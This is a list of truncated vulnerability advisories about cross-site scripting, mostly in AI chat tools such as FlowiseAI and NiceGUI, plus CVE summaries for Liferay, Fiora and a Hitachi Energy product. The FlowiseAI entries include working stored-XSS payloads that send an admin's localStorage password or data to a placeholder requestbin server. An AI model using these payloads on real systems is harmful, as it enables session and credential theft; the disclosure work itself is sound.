#xss

### Description In the chat log, tags like input and form are allowed. This makes a potential vulnerability where an attacker could inject malicious HTML into the log via prompts. When an admin views the log containing the malicious HTML, the attacker could steal the admin's credentials or sensitive information with stored Cross Site Scripting. ### PoC ```html <form> <input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:alert('XSS!!!');" /> </form> ``` If the above HTML code is entered, a very large img gets injected into the log. When an admin clicks the generated img, it alerts ‘XSS!!!’. It means stored xss is able in the chatbot. ```html <form> <input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:window.location.href='<YOUR_REQUESTBIN_SERVER>?passwd=' + encodeURIComponent(localStorage.getItem('password'));" /> </form> ``` So when an admin clicks the img that generated by above htm...

### Summary A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to `localStorage`. --- ### Details The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using `<iframe srcdoc="...">` can include arbitrary JavaScript, which is executed when the message is rendered. --- ### PoC 1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website). 2. Send the following payload via the agent's chat interface: ```html <iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>"> ``` 3. As an admin, go to the workflow and click...

### Summary A XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc. ### Details 1. Send a Message `<iframe src="javascript:alert(document.cookie);">` from User in a chat box: <img width="1396" alt="image" src="https://github.com/user-attachments/assets/b472e304-9e7a-40d2-8469-675a5f0744e5" /> ##### Trigger in other ways: 2. Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows) 3. Create a Custom function as an example, use the below example code. ``` const fetch = require('node-fetch'); const url = 'https://external.website'; const options = { method: 'GET', headers: { 'Content-Type': 'application/js...

### Summary A Cross-Site Scripting (XSS) risk exists in NiceGUI when developers render unescaped user input into the DOM using `ui.html()`. Before version 3.0, NiceGUI does not enforce HTML or JavaScript sanitization, so applications that directly combine components like `ui.input()` with `ui.html()` without escaping may allow attackers to execute arbitrary JavaScript in the user’s browser. Same holds for `ui.chat_message` with HTML content. Applications that directly reflect user input via `ui.html()` (or `ui.chat_message` in HTML mode) are affected. This may lead to client-side code execution (e.g., session hijacking or phishing). Applications that do not pass untrusted input into ui.html() are not affected. ### Details NiceGUI allows developers to bind user input directly into the DOM using `ui.html()` or `ui.chat_message()`. However, the library does not enforce any HTML or JavaScript sanitization, which potentially creates a dangerous attack surface for developers unaware of t...

View CSAF 1. EXECUTIVE SUMMARY CVSS v3 7.5 ATTENTION: Exploitable remotely/low attack complexity Vendor: Hitachi Energy Equipment: MSM Product Vulnerabilities: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Reachable Assertion 2. RISK EVALUATION Successful exploitation of these vulnerabilities could allow HTML injection via the name parameter or an assertion failure in fuzz_binary_decode, resulting in a crash. 3. TECHNICAL DETAILS 3.1 AFFECTED PRODUCTS Hitachi Energy reports that the following products are affected: MSM: Versions 2.2.10 and prior 3.2 VULNERABILITY OVERVIEW 3.2.1 IMPROPER NEUTRALIZATION OF INPUT DURING WEB PAGE GENERATION ('CROSS-SITE SCRIPTING') CWE-79 goform/formTest in EmbedThis GoAhead 2.5 allows HTML injection via the name parameter. CVE-2023-53155 has been assigned to this vulnerability. A CVSS v3.1 base score of 7.2 has been calculated; the CVSS vector string is (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N). 3.2.2 REACHABLE...

File upload vulnerability in Fiora chat application 1.0.0 through user avatar upload functionality. The application fails to validate SVG file content, allowing malicious SVG files with embedded foreignObject elements containing iframe tags and JavaScript event handlers (onmouseover) to be uploaded and stored. When rendered, these SVG files execute arbitrary JavaScript, enabling attackers to steal user sessions, cookies, and perform unauthorized actions in the context of users viewing affected profiles.

Cross Site Scripting (XSS) vulnerability in Fiora chat application 1.0.0 allows arbitrary JavaScript execution when malicious SVG files are rendered by other users.

Stored cross-site scripting (XSS) vulnerabilities in Web Content translation in Liferay Portal 7.4.0 through 7.4.3.112, and older unsupported versions, and Liferay DXP 2023.Q4.0 through 2023.Q4.8, 2023.Q3.1 through 2023.Q3.10, 7.4 GA through update 92, and older unsupported versions allow remote attackers to inject arbitrary web script or HTML via any rich text field in a web content article.

Improper handling of input could lead to a cross-site scripting (XSS) vector in the checkAttribute method of the input filter framework class.

Multiple stored cross-site scripting (XSS) vulnerability in the related asset selector in Liferay Portal 7.4.3.50 through 7.4.3.111, and Liferay DXP 2023.Q4.0 through 2023.Q4.4, 2023.Q3.1 through 2023.Q3.7, and 7.4 update 50 through update 92 allows remote authenticated attackers to inject arbitrary web script or HTML via a crafted payload injected into an asset author’s (1) First Name, (2) Middle Name, or (3) Last Name text field.